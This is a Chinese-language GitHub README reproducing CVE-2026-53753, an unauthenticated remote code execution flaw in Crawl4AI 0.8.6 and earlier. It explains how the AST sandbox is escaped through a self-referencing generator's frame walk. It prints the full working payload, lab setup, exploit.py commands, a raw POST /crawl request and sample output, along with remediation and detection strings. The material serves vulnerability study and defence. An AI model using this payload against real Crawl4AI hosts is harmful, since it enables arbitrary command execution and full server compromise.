BiiTts/CVE-2026-53753-Crawl4AI-RCE

GitHub: BiiTts/CVE-2026-53753-Crawl4AI-RCE

该项目复现了 Crawl4AI 0.8.6 及更早版本中因 AST 沙箱逃逸导致的未授权远程代码执行漏洞,并提供完整的 PoC 脚本与靶场环境。

Stars: 0 | Forks: 0

# CVE-2026-53753 — Crawl4AI 未授权远程代码执行(AST 沙箱逃逸) | | | |---|---| | **CVE** | CVE-2026-53753 | | **公告** | [GHSA-qxjp-w3pj-48m7](https://github.com/advisories/GHSA-qxjp-w3pj-48m7) | | **受影响版本** | Crawl4AI `<= 0.8.6` | | **修复版本** | `0.8.7` | | **类别** | CWE-94(代码注入)/ Python 沙箱逃逸 | | **CVSS 3.1** | `9.8` — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` | | **认证** | **无** — 默认配置为 `jwt_enabled: false` | | **状态** | **已确认** — 已针对官方 `unclecode/crawl4ai:0.8.6` 镜像完成端到端复现 | ## 目录 1. [根本原因](#1-root-cause) 2. [Payload 解析](#2-anatomy-of-the-payload-line-by-line) 3. [为什么帧遍历能到达真实的 builtins](#3-why-the-frame-walk-reaches-real-builtins) 4. [环境搭建](#4-lab-setup) 5. [运行漏洞利用](#5-run-the-exploit) 6. [预期输出](#6-expected-output) 7. [原始 HTTP 请求](#7-raw-http-request) 8. [故障排除](#8-troubleshooting) 9. [影响 / 补救 / 检测](#9-impact) 10. [验证](#10-validation) ## 1. 根本原因 `crawl4ai/extraction_strategy.py` 允许在提取 schema 中定义**计算字段** —— 即针对每个提取项求值的小型 Python 表达式。这些表达式由 `_safe_eval_expression()` 运行,该函数尝试通过 AST 白名单和精简版的 `__builtins__` 来对表达式进行沙箱处理: ``` # crawl4ai/extraction_strategy.py (v0.8.6) for node in ast.walk(tree): if isinstance(node, (ast.Import, ast.ImportFrom)): raise ValueError("Import statements are not allowed in expressions") # Block dunder attribute access, e.g. __class__, __globals__ if isinstance(node, ast.Attribute) and node.attr.startswith("_"): raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed") if isinstance(node, ast.Call): func = node.func if isinstance(func, ast.Name) and func.id.startswith("_"): raise ValueError(...) if isinstance(func, ast.Attribute) and func.attr.startswith("_"): raise ValueError(...) safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS} # no __import__, no eval, no open return eval(compile(tree, "", "eval"), safe_globals, local_vars) ``` 验证器采用的是**基于前缀的拒绝策略**:它仅拒绝*以 `_` 开头*的名称(以及 `import`)。这单个启发式规则就是整个沙箱的全部 —— 而它存在三个漏洞,组合起来便可实现完全逃逸: | # | 漏洞 | 为什么重要 | |---|------|----------------| | 1 | `gi_frame`, `f_back`, `f_builtins` **不以 `_` 开头** | 整个 Python 帧/生成器自省面都是可达的。 | | 2 | `obj['__import__']` 是 `ast.Subscript`,**而不是** `ast.Attribute` | 验证器从不检查字典下标的键,因此 dunder 键 `__import__` 可以通过。 | | 3 | **正在运行的**生成器的 `f_back` 链指向外部帧,其 `f_builtins` 是**真实的** builtins | 从精简的 `_SAFE_EVAL_BUILTINS` 逃逸回完整的 builtins(`__import__` 等)。 | schema 在**无需身份验证**的情况下即可到达此函数:Docker API 默认配置为 `security.jwt_enabled: false`,因此 `/crawl` 的 token 依赖项为 `lambda: None`。 ## 2. Payload 解析,逐行分析 计算字段表达式如下: ``` (lambda: ( (g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__']('os').popen('id').read() for i in [1])), list(g) )[-1])() ``` 逐块解析如下: | 片段 | 作用 | 验证器为何允许 | |----------|------|-----------------------------| | `(lambda: ... )()` | 创建一个函数作用域,以便通过海象运算符绑定的名称存在于**闭包单元**中。 | `ast.Lambda` 未被检查。 | | `g := ( for i in [1])` | 将生成器绑定到 `g`,**并且**生成器主体引用 `g`(自身)。 | `:=` 和生成器表达式未被检查。(海象运算符在推导式的 *可迭代对象* 中是非法的,因此将其放置在元组元素中。) | | `list(g)` | 驱动生成器 —— 因此在主体运行时其帧是**活跃的**。 | `list` 存在于安全的 builtins 中。 | | `g.gi_frame` | 生成器的帧对象。 | `gi_frame` 不以 `_` 开头。 | | `.f_back.f_back.f_back` | 向上遍历**三次**帧,到达一个具有真实 builtins 的帧。 | `f_back` 不以 `_` 开头。 | | `.f_builtins` | 该帧的 builtins 映射(**真实的**那个)。 | `f_builtins` 不以 `_` 开头。 | | `['__import__']` | 从 builtins 字典中获取 `__import__`。 | 字典**下标** —— 从未被检查。 | | `('os')` | `__import__('os')` → `os` 模块。 | 调用目标是 `Subscript`,而不是 `Name`/`Attribute`。 | | `.popen('id').read()` | 运行命令并返回其标准输出。 | `popen`/`read` 不以 `_` 开头。 | 由于生成器的返回值为 `os.popen(cmd).read()`,命令的**标准输出成为了字段值**,并直接反映在 `/crawl` 响应中 —— 这是一个带内通道(in-band oracle),不需要 OAST。 ## 3. 为什么帧遍历能到达真实的 builtins 当 `list(g)` 迭代生成器时,调用栈如下所示: ``` frame: _safe_eval_expression() <-- real builtins (__import__ lives here) ← f_back ×3 └ frame: (eval) <-- sandboxed builtins (_SAFE_EVAL_BUILTINS) ← f_back ×2 └ frame: <-- sandboxed ← f_back ×1 └ frame: g <-- RUNNING; g.gi_frame is this frame ← gi_frame ``` `g.gi_frame.f_back` 仅在**生成器运行时**才会被填充(这就是生成器必须引用自身并由 `list(g)` 驱动的原因 —— 尚未启动的生成器其 `f_back` 为 `None`)。向上遍历三次 `f_back` 会落到 `_safe_eval_expression` 帧上,该帧的 `f_builtins` 是完整的 builtins 模块 —— 随后 `__import__` 便通过下标从中提取出来。 ## 4. 环境搭建 官方镜像提供了易受攻击的默认配置(无身份验证): ``` # 选项 A — docker compose(带有 bridge networking 的普通 Docker 主机) docker compose -f lab/docker-compose.yml up -d # 选项 B — 纯 docker run docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6 ``` 等待约 20 秒让浏览器池预热完成(`docker logs crawl4ai-vuln` → 显示 `Application startup complete`)。 ## 5. 运行漏洞利用 ``` # 检查 request body 而不发送它: python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload # 触发它(命令的 stdout 会在 response 中返回): python3 exploit.py http://127.0.0.1:11235 -c "id; uname -a; cat /etc/os-release | head -1" ``` `exploit.py` 仅使用 Python 标准库 —— 无需第三方依赖。 ## 6. 预期输出 ``` [*] POST http://127.0.0.1:11235/crawl (cmd: 'id; uname -a; ...', no auth) [*] HTTP 200 {"success":true,"results":[{ ... "extracted_content":"[ { \"out\": [ \"uid=999(appuser) gid=999(appuser) groups=999(appuser) appuser Linux ... x86_64 GNU/Linux PRETTY_NAME=\"Debian GNU/Linux 12 (bookworm)\" \" ] } ]" ... ``` `out` 字段反映的是**实时的系统状态**(`id` 输出、`uname`、容器的 `os-release`),而不是请求内容的回显 —— `uid=999(appuser)` 是容器的 服务账号,证明代码是在 Crawl4AI 主机**内部**执行的。唯一的 `echo ` 被原样返回,确认了命令确实已执行。 ## 7. 原始 HTTP 请求 ``` POST /crawl HTTP/1.1 Host: 127.0.0.1:11235 Content-Type: application/json {"urls":["raw://
hi
"], "crawler_config":{"type":"CrawlerRunConfig","params":{"extraction_strategy": {"type":"JsonCssExtractionStrategy","params":{"schema":{"name":"pwn","baseSelector":"div", "fields":[{"name":"out","type":"computed","expression":""}]}}}}}} ``` * `raw://…` 使得请求是自包含的 —— 无需出站抓取;攻击者直接在请求体内联提供 HTML。 * `baseSelector: "div"` 只需匹配到一个元素,以便触发对计算字段的求值。针对真实的抓取目标,请使用任何能匹配该页面的选择器。 ## 8. 故障排除 | 症状 | 原因 / 修复 | |---------|-------------| | `:11235` 上出现 `Connection refused` | 容器仍在预热中,或者您的 Docker 守护进程没有可用的 `bridge` 网络。请等待出现 `Application startup complete`;如果端口映射未绑定,请使用 `--network host` 运行容器。 | | `out` 为 `null` | 基础选择器未匹配到任何元素 —— 请确保 `raw://` HTML 中包含 `
`(或调整 `baseSelector`)。 | | 在 0.8.6 上有效但在 0.8.7 上无效 | 符合预期 —— `0.8.7` 移除了 `_safe_eval_expression` 并彻底禁用了 `expression` 键(即修复方案)。 | ## 9. 影响 在默认部署中,任何网络可达的客户端都无需身份验证即可在 Crawl4AI 主机上执行任意的系统命令 —— 这将导致服务器的全面沦陷,并以此作为跳板攻击其能访问到的任何内部资源。 ### 补救措施 * 升级至 **Crawl4AI ≥ 0.8.7**(移除了 `_safe_eval_expression`;计算字段的 `expression` 键已被禁用 —— 请改用 `function` 键并传入经过审查的 Python 可调用对象)。 * 纵深防御:启用 JWT(`jwt_enabled: true` + `api_token`),并且切勿将 Crawl4AI API 暴露给不受信任的网络。 ### 检测 重点关注包含 `gi_frame`、`f_back`、`f_builtins` 的 `POST /crawl`(以及 `/crawl/stream`)请求体,或者任何带有 `expression` 键的 `computed` 字段。 ## 10. 验证 * **单元层面** —— payload 直接针对 `crawl4ai==0.8.6` 的 `_safe_eval_expression` 运行;返回了实时的命令输出。 * **端到端** —— 官方 `unclecode/crawl4ai:0.8.6` 镜像,未经身份验证的 `POST /crawl`;响应包含了来自容器内部的 `uid=999(appuser)` 和 `/proc/1/cgroup`(详见 [`EVIDENCE.txt`](EVIDENCE.txt))。 * **补丁边界** —— 在 `0.8.7` 上进行相同的调用返回 `None` (`"Computed field 'expression' is disabled for security"`)。 * **净室复现** —— 全新的 `git clone` + 全新的容器可通过每次运行唯一的标记复现 RCE,无需手动干预。 ### 披露 / 致谢 * PoC 作者:**Caio Fabrício** — [github.com/BiiTts](https://github.com/BiiTts) * 漏洞功劳归属于原始的 CVE/公告报告者;本仓库是 出于防御和教育目的进行的独立复现。 * 仅用于授权的安全测试。
标签:Go语言工具, Python, 安全PoC, 无后门, 沙箱逃逸, 编程工具, 自动化payload嵌入, 请求拦截, 远程代码执行, 逆向工具